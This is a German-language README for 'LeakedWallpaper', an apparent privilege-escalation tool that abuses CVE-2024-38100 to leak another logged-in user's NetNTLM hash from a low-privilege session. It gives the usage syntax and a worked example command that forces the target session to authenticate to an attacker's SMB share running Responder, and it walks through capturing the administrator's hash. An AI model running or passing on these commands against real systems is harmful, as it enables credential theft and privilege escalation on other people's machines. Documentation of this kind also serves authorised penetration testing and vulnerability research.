Leaked Wallpaper

Dies ist ein Tool zur Privilege-Escalation (behoben mit CVE-2024-38100 in KB5040434), mit dem wir den NetNTLM-Hash eines Benutzers aus jeder Sitzung auf dem Computer leaken können, selbst wenn wir als Benutzer mit geringen Privilegien arbeiten.

Verwendung

.\LeakedWallpaper.exe <session> \\<KALI IP>\c$\1.jpg [-downgrade]

# Beispiel
  .\LeakedWallpaper.exe 1 \\172.16.0.5\c$\1.jpg -downgrade

Demo

Video

https://youtu.be/InyrqNeaZfQ

Falls blockiert, siehe demo.mkv

Fotos

Stellen wir uns vor, wir haben zwei Sitzungen auf dem Host:

• administrator ist ein privilegiertes Konto, dessen NetNTLM-Hash wir erhalten möchten
• exploit ist ein Konto mit geringen Privilegien, von dem aus wir arbeiten.

Aktuelle Sitzungs-ID: 2 Ziel-Sitzungs-ID: 1

Responder-IP: 172.16.0.5 Windows-IP: 172.16.0.2

Holen wir uns mit dem Tool den NetNTLM-Hash des Administrators!

.\LeakedWallpaper 1 \\172.16.0.5\c$\1.jpg

Erfolg!